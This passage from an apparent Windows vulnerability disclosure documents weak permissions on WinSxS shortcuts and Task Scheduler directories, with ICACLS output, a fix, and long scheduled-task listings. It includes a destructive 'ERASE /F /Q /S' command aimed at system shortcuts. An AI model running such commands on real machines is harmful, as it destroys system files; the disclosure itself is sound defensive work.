                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\wow64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.5074_none_ea985f1f21f82888\ODBC Data Sources (32-bit).lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)

OUCH: multiple unprivileged user accounts created during setup of this installation of Windows 11 25H2 are granted DELETE and FILE_DELETE_CHILD access to 60 shortcuts stored underneath %SystemRoot%\WinSxS\!

(Optional) Delete the shortcuts in the repository:
```
ERASE /F /Q /S "%SystemRoot%\WinSxS\*.lnk"
```

Fix

Remove the superfluous ACE (A;OICIIO;DTSD;;;LA) for the local Administrator account and all dangerous ACEs like (A;OICIIO;DTSD;;;S-1-5-21-‹digits›-‹digits›-‹digits›-1000) for the local user accounts from the shortcuts in the repository.

Log on to the first user account created during Windows setup and start the Command Processor Cmd.exe elevated, then execute the following command line:

ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /Remove:g "%USERDOMAIN%\Administrator" /Remove:g "%USERDOMAIN%\%USERNAME%" /Remove:g "%USERDOMAIN%\‹account›" /Remove:g *S-1-5-21-‹digits›-‹digits›-‹digits›-1000 /Remove:g *S-1-5-21-‹digits›-‹digits›-‹digits›-‹digits› /T

Microsoft Windows [Version 10.0.26200.6584]
(c) Microsoft Corporation. All rights reserved.

Successfully processed 60 files; Failed processing 0 files

Whisper № 6

With Internet Explorer 4 Microsoft introduced Scheduled Tasks to Windows 95 and Windows NT4. Later versions of Windows shipped them as system component, and Windows Vista renamed them Task Scheduler.

The MSKB article 939039 provides a description of the scheduled tasks in Windows Vista.

The documentation for the Schtasks.exe command line utility shipped with Windows XP states in its last Remarks section:

The user must be a member of the Administrators group on the computer that the command affects.

The documentation for the Schtasks.exe command line utility shipped with Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1 and Windows Server 2012 R2 states in its first Remarks section:

Permissions for schtasks

You must have permission to run the command. Any user can schedule a task on the local computer, and they can view and change the tasks that they scheduled. Members of the Administrators group can schedule, view, and change all tasks on the local computer.

Scheduled Tasks use the directory %WINDIR%\Tasks\ for .job files and its log file schedlgu.txt.

In Windows Vista and later versions of Windows NT Task Scheduler uses the directory %SystemRoot%\System32\Tasks\ – on 64-bit editions of Windows NT also the directory %SystemRoot%\SysWoW64\Tasks\ – for text files in XML format, but without file extension, and without proper protection: since almost 19 (in words: nineteen) years unprivileged users can overwrite and delete some of them!

Demonstration

Perform the following 3 simple steps to show the vulnerability and optionally the destructive last 3 simple steps to exploit it!

Log on to an arbitrary (unprivileged) standard user account and start the Command Processor Cmd.exe, then execute the following command lines to show the improper access permissions:

CACLS.EXE "%SystemRoot%\Tasks" /S
ICACLS.EXE "%SystemRoot%\Tasks"
DIR "%SystemRoot%\System32\Tasks" /A /S
CACLS.EXE "%SystemRoot%\System32\Tasks" /S
ICACLS.EXE "%SystemRoot%\System32\Tasks"
DIR "%SystemRoot%\SysWoW64\Tasks" /A /S
CACLS.EXE "%SystemRoot%\SysWoW64\Tasks" /S
ICACLS.EXE "%SystemRoot%\SysWOW64\Tasks"

Note: the command lines can be copied and pasted as block into a Command Processor window.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\windows\Tasks "D:PAI(A;;0x1200ab;;;AU)(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;FA;;;BA)(A;OICIIO;GA;;;CO)"

C:\Windows\Tasks NT AUTHORITY\Authenticated Users:(RX,WD)
                 BUILTIN\Administrators:(F)
                 BUILTIN\Administrators:(OI)(CI)(IO)(F)
                 NT AUTHORITY\SYSTEM:(F)
                 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                 CREATOR OWNER:(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

 Volume in drive C: has no label.
 Volume Serial Number is 1957-0427
File Not Found

C:\windows\System32\Tasks "D:PAI(A;CI;FA;;;BA)(A;OI;0x1f019f;;;BA)(A;CI;FA;;;SY)(A;OI;0x1f019f;;;SY)(A;CI;FW;;;AU)(A;CI;FW;;;NS)(A;CI;FW;;;LS)(A;OICIIO;FA;;;CO)"

C:\Windows\System32\Tasks BUILTIN\Administrators:(CI)(F)
                          BUILTIN\Administrators:(OI)(R,W,D,WDAC,WO)
                          NT AUTHORITY\SYSTEM:(CI)(F)
                          NT AUTHORITY\SYSTEM:(OI)(R,W,D,WDAC,WO)
                          NT AUTHORITY\Authenticated Users:(CI)(W,Rc)
                          NT AUTHORITY\NETWORK SERVICE:(CI)(W,Rc)
                          NT AUTHORITY\LOCAL SERVICE:(CI)(W,Rc)
                          CREATOR OWNER:(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

 Volume in drive C: has no label.
 Volume Serial Number is 1957-0427
File Not Found

C:\windows\SysWoW64\Tasks "D:PAI(A;CI;FA;;;BA)(A;OI;0x1f019f;;;BA)(A;CI;FA;;;SY)(A;OI;0x1f019f;;;SY)(A;CI;FW;;;AU)(A;CI;FW;;;NS)(A;CI;FW;;;LS)(A;OICIIO;FA;;;CO)"

C:\Windows\SysWOW64\Tasks BUILTIN\Administrators:(CI)(F)
                          BUILTIN\Administrators:(OI)(R,W,D,WDAC,WO)
                          NT AUTHORITY\SYSTEM:(CI)(F)
                          NT AUTHORITY\SYSTEM:(OI)(R,W,D,WDAC,WO)
                          NT AUTHORITY\Authenticated Users:(CI)(W,Rc)
                          NT AUTHORITY\NETWORK SERVICE:(CI)(W,Rc)
                          NT AUTHORITY\LOCAL SERVICE:(CI)(W,Rc)
                          CREATOR OWNER:(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Oops: all (unprivileged) users are granted FILE_LIST_DIRECTORY, FILE_ADD_FILE, FILE_READ_EA, FILE_TRAVERSE, FILE_READ_ATTRIBUTES, READ_CONTROL and SYNCHRONIZE access for the directory %SystemRoot%\Tasks\ – they can create files there, can enumerate them all, including those created by other users, and can delete their own files.

OOPS: all (unprivileged) users are granted FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, FILE_WRITE_EA, FILE_WRITE_ATTRIBUTES, READ_CONTROL and SYNCHRONIZE access for the directories %SystemRoot%\System32\Tasks\ and %SystemRoot%\SysWoW64\Tasks\ plus all their subdirectories, independent of their owner – they can create files and subdirectories anywhere, can enumerate their own subdirectories, including the files (and subdirectories) created there by other users, and can delete all files and empty subdirectories, including those created by other users, in their own subdirectories.

OUCH⁰: thanks to the inheritable ACE (A;CI;FW;;;AU) of the directories %SystemRoot%\System32\Tasks\ and %SystemRoot%\SysWoW64\Tasks\, (unprivileged) users who guess the (of course rather unlikely) name of a subdirectory like Microsoft\ created by careless and clueless developers can enumerate and remove such subdirectories completely!

Enumerate all task definition files in the directories %SystemRoot%\System32\Tasks\ and %SystemRoot%\SysWoW64\Tasks\ plus all their subdirectories:

FOR /F "Delims=," %? IN ('SCHTASKS.EXE /QUERY /FO CSV ^| FIND.EXE "\"') DO @ECHO %SystemRoot%\System32\Tasks%~?

ERROR: No mapping between account names and security IDs was done.
C:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated)
C:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated)
C:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Manual)
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\ProgramDataUpdater
C:\Windows\System32\Tasks\Microsoft\Windows\Autochk\Proxy
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask-Roam
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask-Roam
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip
C:\Windows\System32\Tasks\Microsoft\Windows\Defrag\ScheduledDefrag
C:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\Scheduled
C:\Windows\System32\Tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector
C:\Windows\System32\Tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver
C:\Windows\System32\Tasks\Microsoft\Windows\End Of Support\Notify1
C:\Windows\System32\Tasks\Microsoft\Windows\End Of Support\Notify1
C:\Windows\System32\Tasks\Microsoft\Windows\End Of Support\Notify2
C:\Windows\System32\Tasks\Microsoft\Windows\Location\Notifications
C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\WinSAT
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\ActivateWindowsSearch
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\ConfigureInternetTimeService
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\DispatchRecoveryTasks
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\ehDRMInit
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\InstallPlayReady
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\mcupdate
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\mcupdate_scheduled
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\MediaCenterRecoveryTask
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\ObjectStoreRecoveryTask
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\OCURActivate
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\OCURDiscovery
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\PBDADiscovery
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\PBDADiscoveryW1
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\PBDADiscoveryW2
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\PeriodicScanRetry
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\PvrRecoveryTask
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\PvrScheduleTask
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\RecordingRestart
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\RegisterSearch
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\ReindexSearchRoot
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\SqlLiteRecoveryTask
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\StartRecording
C:\Windows\System32\Tasks\Microsoft\Windows\Media Center\UpdateRecordPath
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\CorruptionDetector
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\DecompressionFailureDetector
C:\Windows\System32\Tasks\Microsoft\Windows\MobilePC\HotStart
C:\Windows\System32\Tasks\Microsoft\Windows\MUI\LPRemove
C:\Windows\System32\Tasks\Microsoft\Windows\Multimedia\SystemSoundsService
C:\Windows\System32\Tasks\Microsoft\Windows\NetTrace\GatherNetworkInfo
C:\Windows\System32\Tasks\Microsoft\Windows\Offline Files\Background Synchronization
C:\Windows\System32\Tasks\Microsoft\Windows\Offline Files\Logon Synchronization
C:\Windows\System32\Tasks\Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem
C:\Windows\System32\Tasks\Microsoft\Windows\RAC\RacTask
C:\Windows\System32\Tasks\Microsoft\Windows\RAC\RacTask
C:\Windows\System32\Tasks\Microsoft\Windows\Registry\RegIdleBackup
C:\Windows\System32\Tasks\Microsoft\Windows\Setup\EOSNotify
C:\Windows\System32\Tasks\Microsoft\Windows\Setup\EOSNotify
C:\Windows\System32\Tasks\Microsoft\Windows\Setup\EOSNotify
C:\Windows\System32\Tasks\Microsoft\Windows\Setup\EOSNotify2
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\WindowsParentalControls
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\WindowsParentalControlsMigration
C:\Windows\System32\Tasks\Microsoft\Windows\SideShow\AutoWake
C:\Windows\System32\Tasks\Microsoft\Windows\SideShow\GadgetManager
C:\Windows\System32\Tasks\Microsoft\Windows\SideShow\SessionAgent
C:\Windows\System32\Tasks\Microsoft\Windows\SideShow\SystemDataProviders
C:\Windows\System32\Tasks\Microsoft\Windows\SystemRestore\SR
C:\Windows\System32\Tasks\Microsoft\Windows\SystemRestore\SR
C:\Windows\System32\Tasks\Microsoft\Windows\Task Manager\Interactive
C:\Windows\System32\Tasks\Microsoft\Windows\Tcpip\IpAddressConflict1
C:\Windows\System32\Tasks\Microsoft\Windows\Tcpip\IpAddressConflict2
C:\Windows\System32\Tasks\Microsoft\Windows\TextServicesFramework\MsCtfMonitor
C:\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization\SynchronizeTime
C:\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization\SynchronizeTime
C:\Windows\System32\Tasks\Microsoft\Windows\WDI\ResolutionHost
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStartTypeChange
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Media Sharing\UpdateLibrary
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsBackup\ConfigNotification
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsColorSystem\Calibration Loader
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsColorSystem\Calibration Loader
C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask
C:\Windows\System32\Tasks\WPD\SqmUpload_S-1-5-21-820728443-44925810-1835867902-1000

OUCH¹: contrary to the highlighted statements of their documentation cited above, the Schtasks.exe command line utility can be run by unprivileged users!

Run the command line from the previous step 2. on Windows 11 25H2 too:

FOR /F "Delims=," %? IN ('SCHTASKS.EXE /QUERY /FO CSV ^| FIND.EXE "\"') DO @ECHO %SystemRoot%\System32\Tasks%~?

Microsoft Windows [Version 10.0.26200.6584]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32\Tasks\OneDrive Reporting Task-S-1-5-21-1717989741-1660040995-2455016376-1002
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-1717989741-1660040995-2455016376-1002
C:\Windows\System32\Tasks\OneDrive Startup Task-S-1-5-21-1717989741-1660040995-2455016376-1002
C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319
C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64
C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 Critical
C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 Critical
C:\Windows\System32\Tasks\Microsoft\Windows\AccountHealth\RecoverabilityToastTask
C:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated)
C:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated)
C:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Manual)
C:\Windows\System32\Tasks\Microsoft\Windows\AppID\PolicyConverter
C:\Windows\System32\Tasks\Microsoft\Windows\AppID\VerifiedPublisherCertStoreCheck
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\MareBackup
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser Exp
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\SdbinstMergeDbTask
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\SdbinstMergeDbTask
C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\StartupAppTask
C:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\appuriverifierdaily
C:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\appuriverifierinstall
C:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\CleanupTemporaryState
C:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\DsSvcCleanup
C:\Windows\System32\Tasks\Microsoft\Windows\AppListBackup\Backup
C:\Windows\System32\Tasks\Microsoft\Windows\AppListBackup\BackupNonMaintenance
C:\Windows\System32\Tasks\Microsoft\Windows\AppxDeploymentClient\Pre-staged app cleanup
C:\Windows\System32\Tasks\Microsoft\Windows\Autochk\Proxy
C:\Windows\System32\Tasks\Microsoft\Windows\BitLocker\BitLocker Encrypt All Drives
C:\Windows\System32\Tasks\Microsoft\Windows\BitLocker\BitLocker MDM policy Refresh
C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooth\UninstallDeviceTask
C:\Windows\System32\Tasks\Microsoft\Windows\BrokerInfrastructure\BgTaskRegistrationMaintenanceTask
C:\Windows\System32\Tasks\Microsoft\Windows\capabilityaccessmanager\maintenancetasks
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask-Roam
C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask-Roam
C:\Windows\System32\Tasks\Microsoft\Windows\Chkdsk\ProactiveScan
C:\Windows\System32\Tasks\Microsoft\Windows\Chkdsk\SyspartRepair
C:\Windows\System32\Tasks\Microsoft\Windows\CloudExperienceHost\CreateObjectTask
C:\Windows\System32\Tasks\Microsoft\Windows\CloudRestore\Backup
C:\Windows\System32\Tasks\Microsoft\Windows\CloudRestore\Backup
C:\Windows\System32\Tasks\Microsoft\Windows\CloudRestore\Restore
C:\Windows\System32\Tasks\Microsoft\Windows\ConsentUX\UnifiedConsent\UnifiedConsentSyncTask
C:\Windows\System32\Tasks\Microsoft\Windows\ConsentUX\UnifiedConsent\UnifiedConsentSyncTask
C:\Windows\System32\Tasks\Microsoft\Windows\Containers\CmCleanup
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip
C:\Windows\System32\Tasks\Microsoft\Windows\Data Integrity Scan\Data Integrity Check And Scan
C:\Windows\System32\Tasks\Microsoft\Windows\Data Integrity Scan\Data Integrity Check And Scan
C:\Windows\System32\Tasks\Microsoft\Windows\Data Integrity Scan\Data Integrity Scan
C:\Windows\System32\Tasks\Microsoft\Windows\Data Integrity Scan\Data Integrity Scan for Crash Recovery
C:\Windows\System32\Tasks\Microsoft\Windows\Defrag\ScheduledDefrag
C:\Windows\System32\Tasks\Microsoft\Windows\Device Information\Device
C:\Windows\System32\Tasks\Microsoft\Windows\Device Information\Device
C:\Windows\System32\Tasks\Microsoft\Windows\Device Information\Device User
C:\Windows\System32\Tasks\Microsoft\Windows\Device Setup\Driver Recovery on Reboot
C:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\RecommendedTroubleshootingScanner
C:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\RecommendedTroubleshootingScanner
C:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\RecommendedTroubleshootingScanner
C:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\RecommendedTroubleshootingScanner
C:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\Scheduled
C:\Windows\System32\Tasks\Microsoft\Windows\Diagnosis\UnexpectedCodepath
C:\Windows\System32\Tasks\Microsoft\Windows\DirectX\DirectXDatabaseUpdater
C:\Windows\System32\Tasks\Microsoft\Windows\DirectX\DirectXDatabaseUpdater
C:\Windows\System32\Tasks\Microsoft\Windows\DirectX\DXGIAdapterCache
C:\Windows\System32\Tasks\Microsoft\Windows\DirectX\DXGIAdapterCache
C:\Windows\System32\Tasks\Microsoft\Windows\DirectX\DXGIAdapterCache
C:\Windows\System32\Tasks\Microsoft\Windows\DiskCleanup\SilentCleanup
C:\Windows\System32\Tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector
C:\Windows\System32\Tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver
C:\Windows\System32\Tasks\Microsoft\Windows\DiskFootprint\Diagnostics
C:\Windows\System32\Tasks\Microsoft\Windows\DiskFootprint\StorageSense
C:\Windows\System32\Tasks\Microsoft\Windows\DUSM\dusmtask
C:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP App Launch Task
C:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP Auth Task
C:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP Inaccessible Credentials Task
C:\Windows\System32\Tasks\Microsoft\Windows\EDP\StorageCardEncryption Task
C:\Windows\System32\Tasks\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh
C:\Windows\System32\Tasks\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh
C:\Windows\System32\Tasks\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh
C:\Windows\System32\Tasks\Microsoft\Windows\Feedback\Siuf\DmClient
C:\Windows\System32\Tasks\Microsoft\Windows\Feedback\Siuf\DmClientOnScenarioDownload
C:\Windows\System32\Tasks\Microsoft\Windows\File Classification Infrastructure\Property Definition Sync
C:\Windows\System32\Tasks\Microsoft\Windows\FileHistory\File History (maintenance mode)
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\BootstrapUsageDataReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\GovernedFeatureUsageProcessing
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileConfigs
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\UsageDataFlushing
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\UsageDataFlushing
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\UsageDataFlushing
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\UsageDataReceiver
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\FeatureConfig\UsageDataReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\OneSettings\RefreshCache
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\OneSettings\RefreshCache
C:\Windows\System32\Tasks\Microsoft\Windows\Flighting\OneSettings\RefreshCache
C:\Windows\System32\Tasks\Microsoft\Windows\Hotpatch\Monitoring
C:\Windows\System32\Tasks\Microsoft\Windows\Hotpatch\Monitoring
C:\Windows\System32\Tasks\Microsoft\Windows\Hotpatch\Monitoring
C:\Windows\System32\Tasks\Microsoft\Windows\input\InputSettingsRestoreDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\input\LocalUserSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\input\MouseSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\input\PenSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\input\RemoteMouseSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\input\RemotePenSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\input\RemoteTouchpadSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\input\syncpensettings
C:\Windows\System32\Tasks\Microsoft\Windows\input\TouchpadSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\InstallService\RestoreDevice
C:\Windows\System32\Tasks\Microsoft\Windows\InstallService\ScanForUpdates
C:\Windows\System32\Tasks\Microsoft\Windows\InstallService\ScanForUpdates
C:\Windows\System32\Tasks\Microsoft\Windows\InstallService\ScanForUpdates
C:\Windows\System32\Tasks\Microsoft\Windows\InstallService\ScanForUpdatesAsUser
C:\Windows\System32\Tasks\Microsoft\Windows\InstallService\WakeUpAndContinueUpdates
C:\Windows\System32\Tasks\Microsoft\Windows\InstallService\WakeUpAndScanForUpdates
C:\Windows\System32\Tasks\Microsoft\Windows\International\Synchronize Language Settings
C:\Windows\System32\Tasks\Microsoft\Windows\International\Synchronize Language Settings
C:\Windows\System32\Tasks\Microsoft\Windows\Kernel\La57Cleanup
C:\Windows\System32\Tasks\Microsoft\Windows\LanguageComponentsInstaller\Installation
C:\Windows\System32\Tasks\Microsoft\Windows\LanguageComponentsInstaller\ReconcileLanguageResources
C:\Windows\System32\Tasks\Microsoft\Windows\Location\WindowsActionDialog
C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\WinSAT
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Autopilot\DetectHardwareChange
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Autopilot\DetectHardwareChange
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Autopilot\RemediateHardwareChange
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\Cellular
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\Logon
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\MdmDiagnosticsCleanup
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\Retry
C:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\RunOnReboot
C:\Windows\System32\Tasks\Microsoft\Windows\Maps\MapsToastTask
C:\Windows\System32\Tasks\Microsoft\Windows\Maps\MapsUpdateTask
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\AutomaticOfflineMemoryDiagnostic
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\RunFullMemoryDiagnostic
C:\Windows\System32\Tasks\Microsoft\Windows\MUI\LPRemove
C:\Windows\System32\Tasks\Microsoft\Windows\Multimedia\SystemSoundsService
C:\Windows\System32\Tasks\Microsoft\Windows\Network Connectivity Status Indicator\NcsiIdentifyUserProxies
C:\Windows\System32\Tasks\Microsoft\Windows\Network Connectivity Status Indicator\NcsiIdentifyUserProxies
C:\Windows\System32\Tasks\Microsoft\Windows\Network Connectivity Status Indicator\NcsiIdentifyUserProxies
C:\Windows\System32\Tasks\Microsoft\Windows\NlaSvc\WiFiTask
C:\Windows\System32\Tasks\Microsoft\Windows\Offline Files\Background Synchronization
C:\Windows\System32\Tasks\Microsoft\Windows\Offline Files\Logon Synchronization
C:\Windows\System32\Tasks\Microsoft\Windows\PCRPF\PCR Prediction Framework Firmware Update Task
C:\Windows\System32\Tasks\Microsoft\Windows\PerformanceTrace\RequestTrace
C:\Windows\System32\Tasks\Microsoft\Windows\PerformanceTrace\WhesvcToast
C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Device Install Group Policy
C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Device Install Reboot Required
C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Device Install Reboot Required
C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Sysprep Generalize Drivers
C:\Windows\System32\Tasks\Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem
C:\Windows\System32\Tasks\Microsoft\Windows\Printing\EduPrintProv
C:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrinterCleanupTask
C:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrintJobCleanupTask
C:\Windows\System32\Tasks\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE
C:\Windows\System32\Tasks\Microsoft\Windows\ReFsDedupSvc\Initialization
C:\Windows\System32\Tasks\Microsoft\Windows\Registry\RegIdleBackup
C:\Windows\System32\Tasks\Microsoft\Windows\Servicing\OOBEFodSetup
C:\Windows\System32\Tasks\Microsoft\Windows\Servicing\StartComponentCleanup
